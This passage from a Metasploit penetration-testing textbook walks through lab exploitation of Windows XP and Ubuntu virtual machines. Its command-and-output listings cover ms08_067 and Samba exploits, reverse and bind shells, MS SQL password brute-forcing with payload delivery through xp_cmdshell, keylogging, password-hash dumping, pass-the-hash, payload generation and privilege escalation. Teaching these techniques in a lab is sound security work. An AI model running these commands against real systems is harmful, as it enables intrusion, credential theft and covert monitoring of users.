msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.33.129:8080
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:8080 -> 192.168.33.130:1487)
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter 192.168.33.129:8080 -> 192.168.33.130:1036
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4060 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
The exploit command at initiates our exploit and attempts to attack
the target. The attack succeeds and gives us a reverse_tcp Meterpreter pay-
load at , which we can view with sessions -l at . Only one session is active,
as shown at , but if we targeted multiple systems, several sessions could be
open simultaneously. (To view a list of the exploits that created each session,
you would enter sessions -l -v.)
The sessions -i 1 command is issued at to “interact” with an individual
session. Notice that this drops us into a Meterpreter shell. If, for example, a
reverse command shell existed, this command would drop us straight to a
command prompt. And, finally, at we enter shell to jump into an interac-
tive command shell on the target.
Congratulations! You’ve just compromised your first machine! To list the
available commands for a particular exploit, you can enter show options.
Exploiting an Ubuntu Machine
Let’s try a different exploit on an Ubuntu 9.04 virtual machine. The steps are
pretty much the same as for the preceding exploit except that we will select a
different payload.
msf > nmap -sT -A -P0 192.168.33.132
[*] exec: nmap -sT -A -P0 192.168.33.132

The Joy of Exploitation 69
Starting Nmap 5.20 ( http://nmap.org ) at 2011-03-15 19:35 EDT
Warning: Traceroute does not support idle or connect scan, disabling...
Nmap scan report for 192.168.33.132
Host is up (0.00048s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3 ((Ubuntu) PHP/5.2.1)
|_html-title: Index of /
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MSHOME)
MAC Address: 00:0C:29:21:AD:08 (VMware)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
. . . SNIP . . .
Host script results:
|_nbstat: NetBIOS name: UBUNTU, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Unix (Samba 3.0.24)
| Name: MSHOME\Unknown
|_ System time: 2011-03-15 17:39:57 UTC-4
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.11 seconds
We see three open ports: 80, 139, and 445. The message at tells us that
the system is running Ubuntu, and at we see that it is running a version of
Samba 3.x and Apache 2.2.3 with PHP 5.2.1.
Let’s search for a Samba exploit and try it against the system:
msf > search samba
[*] Searching loaded modules for pattern 'samba'...
Auxiliary
=========
Name Rank Description
---- ---- -----------
admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal
dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflow
dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow
Exploits
========
Name Rank Description
---- ---- -----------
linux/samba/lsa_transnames_heap good Samba lsa_io_trans_names . . .
. . . SNIP . . .
msf > use linux/samba/lsa_transnames_heap
msf exploit(lsa_transnames_heap) > show payloads

70 Chapter 5
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
linux/x86/adduser normal Linux Add User
linux/x86/chmod normal Linux Chmod
linux/x86/exec normal Linux Execute Command
linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind TCP Stager (IPv6)
linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager
. . . SNIP . . .
msf exploit(lsa_transnames_heap) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(lsa_transnames_heap) > set LPORT 8080
LPORT => 8080
msf exploit(lsa_transnames_heap) > set RHOST 192.168.33.132
RHOST => 192.168.33.132
msf exploit(lsa_transnames_heap) > exploit
[*] Creating nop sled....
[*] Started bind handler
[*] Trying to exploit Samba with address 0xffffe410...
[*] Connecting to the SMB service...
. . . SNIP . . .
[*] Calling the vulnerable function...
[+] Server did not respond, this is expected
[*] Command shell session 1 opened (192.168.33.129:41551 -> 192.168.33.132:8080)
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:21:AD:08
inet addr:192.168.33.132 Bcast:192.168.33.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:3178 errors:0 dropped:0 overruns:0 frame:0
TX packets:2756 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:292351 (285.4 KiB) TX bytes:214234 (209.2 KiB)
Interrupt:17 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
whoami
root

The Joy of Exploitation 71
This type of exploit, called a heap-based attack, takes advantage of dynamic
memory allocation, but it isn’t 100 percent reliable. (You may need to attempt
the exploit command a few times if it doesn’t work the first time.)
Notice in this example that we used a bind shell to set up a listener port
on the target machine; Metasploit handles the direct connection to the system
automatically for us. (Remember to use the reverse payload when attacking
through a firewall or NAT.)
All-Ports Payloads: Brute Forcing Ports
In the preceding examples, we’ve relied on the reverse port always being
open. But what if we’re attacking an organization with very strict egress port
filtering? Most companies block outbound connections except those from a
few defined ports, and it can be difficult to determine which ports can make
outbound connections.
We can guess that port 443 won’t be inspected and will allow a TCP con-
nection out, and that FTP, Telnet, SSH, and HTTP may be allowed. But why
guess when Metasploit has a very specific payload for use in finding open ports?
Metasploit’s payload will try every available port until it finds an open
one. (Going through the entire port range [1–65535] can take quite a long
time, however.)
Let’s use this payload and have it try all ports connecting outbound until
we get one that is successful:
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set LHOST 192.168.33.129
lhost => 192.168.33.129
smsf exploit(ms08_067_netapi) > set RHOST 192.168.33.130
rhost => 192.168.33.130
msf exploit(ms08_067_netapi) > set TARGET 3
target => 3
msf exploit(ms08_067_netapi) > search ports
[*] Searching loaded modules for pattern 'ports'...
Compatible Payloads
===================
Name Rank Description
---- ---- -----------
windows/dllinject/reverse_tcp_allports normal Reflective Dll Injection,
Reverse All-Port TCP Stager
windows/meterpreter/reverse_tcp_allports normal Windows Meterpreter (Reflective
Injection), Reverse All-Port TCP Stager
. . . SNIP . . .
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
payload => windows/meterpreter/reverse_tcp_allports
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.

72 Chapter 5
msf exploit(ms08_067_netapi) >
[*] Started reverse handler on 192.168.33.129:1
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:1 -> 192.168.33.130:1047)
msf exploit(ms08_067_netapi) > sessions -l -v
Active sessions
===============
Id Type Information Connection Via
-- ---- ----------- ---------- ---
1 meterpreter NT AUTHORITY\SYSTEM @ IHAZSECURITY 192.168.33.129:1 -> 192.168.33.130:1047
exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
Notice that we do not set an LPORT; instead, we use allports because we
are going to try to connect out of the network on each port until we find an
open one. If you look closely at you will see that our attacker machine is
bound to :1 (all ports) and that it finds a port outbound on port 1047 on
the target network.
Resource Files
Resource files are script files that automate commands within msfconsole. They
contain a list of commands that are executed from msfconsole and run sequen-
tially. Resource files can greatly reduce testing and development times, allow-
ing you to automate many repetitive tasks, including exploitation.
Resource files can be loaded from msfconsole with the resource command, or
they can be passed as a command-line argument with the -r switch.
The simple example shown next creates a resource file that displays our
Metasploit version and then loads the sounds plug-in:
root@bt:/opt/framework3/msf3/ echo version > resource.rc
root@bt:/opt/framework3/msf3/ echo load sounds >> resource.rc
root@bt:/opt/framework3/msf3/ msfconsole -r resource.rc
resource (resource.rc)> version
Framework: 3.7.0-dev.12220
Console : 3.7.0-dev.12220
resource (resource.rc)> load sounds
[*] Successfully loaded plugin: sounds
msf >
As you can see at and , the version and load sounds commands are
echoed into a text file called resource.rc. This file is then passed to msfconsole at
the command line at with the -r switch, and when the file begins to load, the
commands are executed at from the resource file.

The Joy of Exploitation 73
A more complex resource file might automatically run a particular exploit
against a machine in your lab environment. For example, the following listing
uses an SMB exploit in a newly created resource file called autoexploit.rc. We
set a payload and our attack and target IPs in this one file so that we don’t
have to specify these options manually when attempting this exploit.
root@bt:/opt/framework3/msf3/ echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc
root@bt:/opt/framework3/msf3/ echo set RHOST 192.168.1.155 >> autoexploit.rc
root@bt:/opt/framework3/msf3/ echo set PAYLOAD windows/meterpreter/reverse_tcp >> autoexploit.rc
root@bt:/opt/framework3/msf3/ echo set LHOST 192.168.1.101 >> autoexploit.rc
root@bt:/opt/framework3/msf3/ echo exploit >> autoexploit.rc
root@bt:/opt/framework3/msf3/ msfconsole
msf > resource autoexploit.rc
resource (autoexploit.rc)> use exploit/windows/smb/ms08_067_netapi
resource (autoexploit.rc)> set RHOST 192.168.1.155
RHOST => 192.168.1.155
resource (autoexploit.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (autoexploit.rc)> set LHOST 192.168.1.101
LHOST => 192.168.1.101
resource (autoexploit.rc)> exploit
[*] Started reverse handler on 192.168.1.101:4444
[*] Triggering the vulnerability...
[*] Sending stage (747008 bytes)
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.155:1033)
meterpreter >
Here we specify the resource file within msfconsole, and it automatically
runs our specified commands as shown by the output displayed at .
NOTE These are just a couple of simple examples. In Chapter 12, you will learn how to use
karma, a very large resource file.
Wrapping Up
You’ve just exploited your first machine and gained full access to it with
msfconsole. Congratulations!
We began this chapter by covering the basics of exploitation and com-
promising a target based on a discovered vulnerability. Exploitation is about
identifying a system’s potential exposures and exploiting its weaknesses. We
used nmap to identify potentially vulnerable services. From there we launched
an exploit that gave us access to a system.
In the next chapter, we will explore Meterpreter in more detail as we
learn how to use it in post exploitation. You will find Meterpreter to be an
amazing tool once you’ve compromised a system.

METERPRETER
In this chapter, we’ll dive deeper into this “hacker’s
Swiss army knife” that can significantly improve your
post exploitation experience. Meterpreter is one of
the flagship products in Metasploit and is leveraged as
a payload after a vulnerability is exploited. A payload is
the information returned to us when we trigger an
exploit. For example, when we exploit a weakness in a Remote Procedure
Call (RPC), trigger the exploit, and select Meterpreter as the payload, we
would be given a Meterpreter shell to the system. Meterpreter is an extension
of the Metasploit Framework that allows us to leverage Metasploit’s function-
ality and further compromise our target. Some of this functionality includes
ways to cover your tracks, reside purely in memory, dump hashes, access
operating systems, pivot, and much more.
In this chapter, we’ll leverage normal attack methods within Metasploit
to compromise a Windows XP machine. Our payload, Meterpreter, will allow
us to perform additional attacks after we’ve compromised the system.

76 Chapter 6
Compromising a Windows XP Virtual Machine
Before we dive into the specifics of Meterpreter, we first need to compromise
a system and get a Meterpreter shell.
Scanning for Ports with Nmap
We begin by identifying the services and ports running on the target by con-
ducting a port scan with nmap to find a port to exploit, as shown here:
msf > nmap -sT -A -P0 192.168.33.130
[*] exec: nmap -sT -A -P0 192.168.33.130
. . . SNIP. . .
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180
80/tcp open http Microsoft IIS webserver 5.1
|_html-title: Directory Listing Denied
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
6646/tcp open unknown
MAC Address: 00:0C:29:EA:26:7C (VMware)
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
. . . SNIP . . .
Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds
msf >
After conducting our port scan at , we see that some interesting ports
are accessible, including MS SQL at , a potential attack vector. But perhaps
the most interesting thing that nmap tells us is that this machine is running
Windows XP Service Pack 2 at , which is now at the end of life, which means
some published vulnerabilities will not have been fixed or patched by the
installation of SP3.
Also of note, we see the standard FTP and SMTP ports, which might
be available to be leveraged for an attack. And we see that port 80 is open,
which means we have a potential web application to attack.
Attacking MS SQL
In this example, we’ll attack port 1433, MS SQL, because this is often an
entry point of weakness that can lead to a complete compromise and full
administrative-level control over the target.

Meterpreter 77
To begin, we identify the MS SQL installation, and then launch a MS SQL
Server brute force attack to see if we can guess a password. By default, MS SQL
is installed on TCP port 1433 and UDP port 1434, though newer versions
allow for installation on a dynamically allocated port, which can be random-
ized. Luckily, port 1434 UDP (for which we did not scan) remains the same
and can be queried to identify the dynamic port of the SQL server.
Here, we scan the system and see that MS SQL port 1434 UDP is open:
msf > nmap -sU 192.168.33.130 –p1434
Nmap scan report for 192.168.33.130
Host is up (0.00033s latency).
PORT STATE SERVICE
1434/udp open ms-sql-m
Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
msf >
As you can see, we scan our host at and see that MS SQL UDP port 1434
at is open. (Chapters 11, 13, and 17 will cover MS SQL in much more depth.)
When targeting MS SQL, we can leverage the mssql_ping module to brute
force the MS SQL port and attempt to guess the username and password.
When MS SQL is first installed, the program will require the user to create an
sa, or system administrator, account. You’ll often be able to guess or brute
force the sa account password, because when administrators install this appli-
cation they do not understand the security ramifications of using either a
blank password or something too simple.
In the next example, we look for the mssql_ping module and attempt to
brute force the sa account:
msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
msf auxiliary(mssql_ping) > set RHOSTS 192.168.33.1/24
RHOSTS => 192.168.33.1/24
msf auxiliary(mssql_ping) > set THREADS 20
THREADS => 20
msf auxiliary(mssql_ping) > exploit
[*] Scanned 040 of 256 hosts (015% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] Scanned 080 of 256 hosts (031% complete)
[*] Scanned 115 of 256 hosts (044% complete)

78 Chapter 6
[*] SQL Server information for 192.168.33.130:
[*] ServerName = IHAZSECURITY
[*] InstanceName = SQLEXPRESS
[*] IsClustered = No
[*] Version = 9.00.1399.06
[*] tcp = 1433
[*] np = \\IHAZSECURITY\pipe\MSSQL$SQLEXPRESS\sql\query
[*] Scanned 129 of 256 hosts (050% complete)
After calling the mssql_ping module with use scanner/mssql/mssql_ping
and setting our options, we see that a SQL Server installation is found at
192.168.33.130 . The name of the server is IHAZSECURITY . Its version
number 9.00.1399.06 shown at equates to SQL Server 2005 Express, and
we know that it’s listening on TCP port 1433 .
Brute Forcing MS SQL Server
Next, we brute force the server with the Framework’s mssql_login module:
msf > use scanner/mssql/mssql_login
msf auxiliary(mssql_login) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
PASSWORD no The password for the specified username
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 1433 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME sa no The username to authenticate as
USERPASS_FILE no File containing users and passwords
separated by space, one pair per line
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(mssql_login) > set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
PASS_FILE => /pentest/exploits/fasttrack/bin/dict/wordlist.txt
msf auxiliary(mssql_login) > set RHOSTS 192.168.33.130
RHOSTS => 192.168.33.130
msf auxiliary(mssql_login) > set THREADS 10
THREADS => 10
msf auxiliary(mssql_login) > set verbose false
verbose => false
msf auxiliary(mssql_login) > exploit
[+] 192.168.33.130:1433 - MSSQL - successful login 'sa' : 'password123'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Meterpreter 79
We select the mssql_login module at and point it to the default password
word list from Fast-Track at . (We discuss Fast-Track in more detail in Chap-
ter 11.) At , we have successfully guessed the sa password: password123.
NOTE Fast-Track is a tool created by one of the authors of this book that leverages multiple
attacks, exploits, and the Metasploit Framework for payload delivery. One of Fast-
Track’s features is its ability to use a brute-forcer to attack and compromise MS SQL
automatically.
The xp_cmdshell
By running MS SQL from the sa account, we can execute the stored proce-
dure xp_cmdshell, which lets us interact with the underlying operating system
and execute commands. The xp_cmdshell is a built-in stored procedure that
ships by default with SQL Server. You can call this stored procedure and have
it query and execute underlying operating system calls directly with MS SQL.
Think of it as a kind of superuser command prompt that allows you to run
anything you want on the operating system. When we gain access to the sa
account, we find that the MS SQL server is generally running with SYSTEM-
level permissions, which allows us full access as an administrator to both
MS SQL and the machine itself.
To get a payload onto the system, we’ll interact with the xp_cmdshell,
add a local administrator, and deliver the payload through an executable.
David Kennedy and Joshua Drake (jduck), have written a module (mssql_payload)
that can be used to deliver any Metasploit payload through xp_cmdshell:
msf > use windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
UseCmdStager true no Wait for user input before returning from exploit
VERBOSE false no Enable verbose output
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(mssql_payload) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST 192.168.33.129
LHOST => 192.168.33.129

80 Chapter 6
msf exploit(mssql_payload) > set LPORT 443
LPORT => 443
msf exploit(mssql_payload) > set RHOST 192.168.33.130
RHOST => 192.168.33.130
msf exploit(mssql_payload) > set PASSWORD password123
PASSWORD => password123
msf exploit(mssql_payload) > exploit
[*] Started reverse handler on 192.168.33.129:443
[*] Command Stager progress - 2.78% done (1494/53679 bytes)
[*] Command Stager progress - 5.57% done (2988/53679 bytes)
[*] Command Stager progress - 8.35% done (4482/53679 bytes)
. . . SNIP . . .
[*] Command Stager progress - 97.32% done (52239/53679 bytes)
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1699)
meterpreter >
After selecting the mssql_payload module and setting our payload to
meterpreter at , all we need to do is set the standard options before starting
our Meterpreter session. We’ve succeeded in opening a Meterpreter session
at on the target machine.
To recap, in the attack described here, we used the mssql_ping module
to guess the MS SQL sa password, which we discovered is password123. We
then leveraged the mssql_payload module to communicate with MS SQL and
upload a Meterpreter shell through MS SQL, and the shell was presented to
us, thereby completely compromising the system. Once the Meterpreter shell
is presented, we know that the exploit was successful and we can continue
with post exploitation on this system.
Basic Meterpreter Commands
Having successfully compromised the target and gained a Meterpreter console
on the system, we can glean more information with some basic Meterpreter
commands. Use the help command at any point for more information on
how to use Meterpreter.
Capturing a Screenshot
Meterpreter’s screenshot command will export an image of the active user’s
desktop and save it to the /opt/metasploit3/msf3/ directory, as shown in Figure 6-1.
meterpreter > screenshot
Screenshot saved to: /opt/metasploit3/msf3/yVHXaZar.jpeg
Desktop screen captures offer a great way to learn about a target system.
For example, in Figure 6-1, we can see that McAfee antivirus software is
installed and running, which means we’ll need to be cautious about what we
upload to the system. (Chapter 7 discusses antivirus evasion in more detail.)

Meterpreter 81
Figure 6-1: Meterpreter-captured screenshot
sysinfo
Another command we can specify is sysinfo, which will tell us the platform on
which the system is running, as shown here:
meterpreter > sysinfo
Computer: IHAZSECURITY
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
As you can see, this system is running Windows XP Service Pack 2. Because
SP2 is end of life, we can assume that we can find a ton of holes on this system.
Capturing Keystrokes
Now we’ll grab the password hash values from this system, which can either
be cracked or used in an attack. We’ll also start keystroke logging (recording
keystrokes) on the remote system. But first, let’s list the running processes on
the target system with the ps command.
meterpreter > ps
Process list
============
PID Name Arch Session User Path
--- ---- ---- ------- ---- ----
0 [System Process]
4 System x86 0 NT AUTHORITY\SYSTEM
. . . SNIP . . .

82 Chapter 6
1476 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\
system32\spoolsv.exe
1668 explorer.exe x86 0 IHAZSECURITY\Administrator C:\WINDOWS\
Explorer.EXE
. . . SNIP . . .
4032 notepad.exe x86 0 IHAZSECURITY\Administrator C:\WINDOWS\
system32\notepad.exe
meterpreter > migrate 1668
[*] Migrating to 1668...
[*] Migration completed successfully.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against V-MAC-XP
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf3/loot/
20110324171334_default_192.168.1.195_host.windows.key_179703.txt
[*] Recording keystrokes...
[*] Saving last few keystrokes...
root@bt:~# cat /root/.msf3/loot/20110324171334_default_192.168.1.195_host.windows.key_179703.txt
Keystroke log started at Thu Mar 24 17:13:34 -0600 2011
administrator password <Back> <Back> <Back> <Back> <Back> <Back> <Back> <Tab> password123!!
Executing ps at provides a list of running processes, including
explorer.exe . At we issue the migrate command to move our session
into the explorer.exe process space. Once that move is complete, we start the
keylog_recorder module at , stopping it after some time with CTRL-C, and
finally, at , in another terminal window, we dump the contents of the
keystroke logger to see what we’ve caught.
Dumping Usernames and Passwords
In the preceding example, we grabbed password hashes by logging what a
user typed. We can also use Meterpreter to obtain the usernames and pass-
word hashes on a local file system without the use of keyloggers.
Extracting the Password Hashes
In this attack, we’ll leverage the hashdump post exploitation module in Meter-
preter to extract the username and password hashes from the system. Microsoft
typically stores hashes on LAN Manager (LM), NT LAN Manager (NTLM),
and NT LAN Manager v2 (NTLMv2).
In the case of LM, for example, when a use enters a password for the first
time or changes a password, the password is assigned a hash value. Depend-
ing on the hash value length, the password can be split into seven-character
hashes. For example, if the password is password123456, the hash value could
be stored as passwor and d123456, so an attacker would simply need to crack

Meterpreter 83
a 7-character password instead of a 14-character one. In NTLM, regardless
of the password size, password123456 would be stored as a hash value of
password123456.
NOTE We’re using a super complex password here that we would not be able to crack in a rea-
sonable amount of time. Our password is larger than the 14-character maximum that
LM supports, so it has automatically converted itself to an NTLM-based hash value.
Even with rainbow tables or a super powerful cracking machine, it would take a signif-
icant amount of time to crack these passwords.
In the following code, we extract a username and password hash for the
Administrator user account with UID 500 (the Windows Administrator system
default). The strings that follow Administrator:500 are two hashes of the
Administrator password. This shows an example of a simple extract of a user-
name and password hashes. Shortly, we will extract our own username and
password hashes from our Windows XP system.
Administrator:500:e52cac67419a9a22cbb699e2fdfcc59e :30ef086423f916deec378aac42c4ef0c :::
The first hash at is an LM hash, and the second at is an NTLM hash.
Dumping the Password Hash
On your target machine, change your password to something complex, such
as thisisacrazylongpassword&&!!@@## and use Meterpreter to dump the user-
name and password hashes (shown in the preceding code listing) from the
target again. We will leverage the use priv command, which means we are
running as a privileged user account.
To dump the Security Account Manager (SAM) database, we need to be
running as SYSTEM to get around the registry restrictions and dump the pro-
tected SAM storage that contains our Windows usernames and passwords, as
shown next. Try performing this scenario on a test virtual machine to see if
you can dump the username and password hashes. In this listing, we execute
the hashdump command, which dumps all the usernames and password hashes
from the system.
meterpreter > use priv
Loading extension priv...success.
meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29:::
A hash value that starts with aad3b435 is simply an empty or
null hash value—a placeholder for an empty string. (Something like
Administrator:500:NOPASSWD:ntlmhash is also null.) Because our password

84 Chapter 6
was longer than 14 characters, Windows can no longer store an LM hash, and
it uses the standard aad3b435 . . . string, which represents a blank password.
Pass the Hash
In the preceding example, we ran into a slight complication: We have the
administrator’s username and password hashes, but we can’t crack the pass-
word in a reasonable time frame. If we don’t know the password, how can we
log into additional machines and potentially compromise more systems with
this one user account?
We can use the pass-the-hash technique, which requires that we have only
the password hash, not the password itself. Metasploit’s windows/smb/psexec
module makes this all possible, as shown here:
msf> use windows/smb/psexec
msf exploit(psexec)> set PAYLOAD windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec)> set LHOST 192.168.33.129
LHOST => 192.168.33.129
msf exploit(psexec)> set LPORT 443
LPORT => 443
msf exploit(psexec)> set RHOST 192.168.33.130
RHOST => 192.168.33.130
. . . SNIP . . .
msf exploit(psexec)> set SMBPass
aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
SMBPass => aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
msf exploit(psexec)> exploit
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'Administrator'...
THE PROBLEM WITH LM HASHES
Just for fun, try the following: Change your password to something complex that is
14 characters or less. Then extract the password hashes from the system with hashdump
and copy the first hash value (such as the portion beginning with aad3b435 in the
preceding example), which is the LM hash. Next, search for one of the many online
password crackers and submit your hash value. Wait a few minutes, click the refresh
button a couple of times, and your password should be cracked. (Be careful not to use
one of your real passwords, because the information is frequently posted to everyone
who visits the site!)
This is a rainbow table attack. A rainbow table is a precomputed table used for
reversing cryptographic hash functions, usually for cracking passwords. Rainbow
tables use every combination of characters including 1–7, a–z, special symbols, and
spaces. When you submit your hash to an online cracker, the site’s server searches
through gigabytes of rainbow tables for your specific hash.

Meterpreter 85
[*] Uploading payload...
[*] Created \JsOvAFLy.exe...
After we select the smb/psexec module at and set the options for LHOST,
LPORT, and RHOST, we set the SMBPass variable, and at we input the hash that
we dumped earlier. As you can see, authentication is successful and we gain
our Meterpreter session. We didn’t have to crack a password, and no pass-
word was needed. We’ve secured Administrator privileges using the password
hash alone.
When we successfully compromise one system on a large network, in
most cases that system will have the same administrator account on multiple
systems. This attack would allow us to hop from one system to another with-
out ever needing to crack the password itself.
Privilege Escalation
Now that we have access to the system, we can create a normal user account
with limited permissions using the net user command. We’ll create a new
user account to demonstrate how to elevate permissions as that user. (You
will learn more about this in Chapter 8.)
When we compromise a limited user account, we will run into restric-
tions that prevent us from executing commands that require administrative-
level permissions. By elevating an account’s permissions, we overcome that
restriction.
On a Windows XP target machine, we enter the following command:
C:\Documents and Settings\Administrator>net user bob password123 /add.
Next, we create a Meterpreter-based payload, payload.exe, copy it to the
target’s XP machine, and run it under the user account bob. This will be our
new limited user account. In this example, we will use msfpayload to create a
Meterpreter-based payload as a normal Windows executable. (We’ll discuss
msfpayload in more detail in Chapter 7.)
root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 X > payload.exe
root@bt:/opt/framework3/msf3# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.33.129:443
[*] Starting the payload handler...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1056)
meterpreter > getuid
Server username: IHAZSECURITY\bob

86 Chapter 6
The LHOST and LPORT options tell Metasploit that when it creates our
Meterpreter payload it should connect back to our attacker machine on
port 443. We then call the msfcli interface to start a listener handler for us.
This listener handler will wait for connections, and when one is received, it
will spawn a Meterpreter shell.
On the attacker machine, we create a new Meterpreter stand-alone exe-
cutable at , copy the executable to the Windows XP machine, and run it
under the user account bob.
We then set up a listener at to listen for the Meterpreter connection.
After the target executes the payload on the system (payload.exe), we see a lim-
ited user Meterpreter console . We can, for example, generate a payload.exe
on a Back|Track machine, copy the executable to a Windows XP machine, and
set up a listener to get a Meterpreter session.
As shown in the next listing, we drop to a Meterpreter shell at and
enter net user bob; we can see that user bob is a member of the Users group,
is not an administrator, and has limited rights. We have a limited footprint
from which to attack this device, and we can’t perform certain attacks, such
as dumping the SAM database to extract usernames and passwords. (Luckily,
Meterpreter has us covered, as you’ll see in a moment.) Our query complete,
we press CTRL-Z, which saves our Meterpreter session and keeps us in the
exploited system.
meterpreter > shell
Process 2896 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>net user bob
. . . SNIP . . .
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\>^Z
Background channel 1? [y/N] y
NOTE Here’s another Meterpreter trick: While you’re in the Meterpreter console, enter background
to jump back into msfconsole and leave the session running. Then enter sessions -l
and sessions -i sessionid to return to your Meterpreter console.
Now let’s get administrative or SYSTEM rights. As shown in the next list-
ing, we enter use priv to load the priv extensions, which gets us access to the
privileged module (which may already be loaded). Next, we enter getsystem
in an attempt to elevate our privilege to that of local system, or administra-
tor. We then verify that we have admin privileges with the getuid command.
The server username returned is NT AUTHORITY\SYSTEM, which tells us
that we’ve succeeded at gaining administrator access.

Meterpreter 87
meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 4).
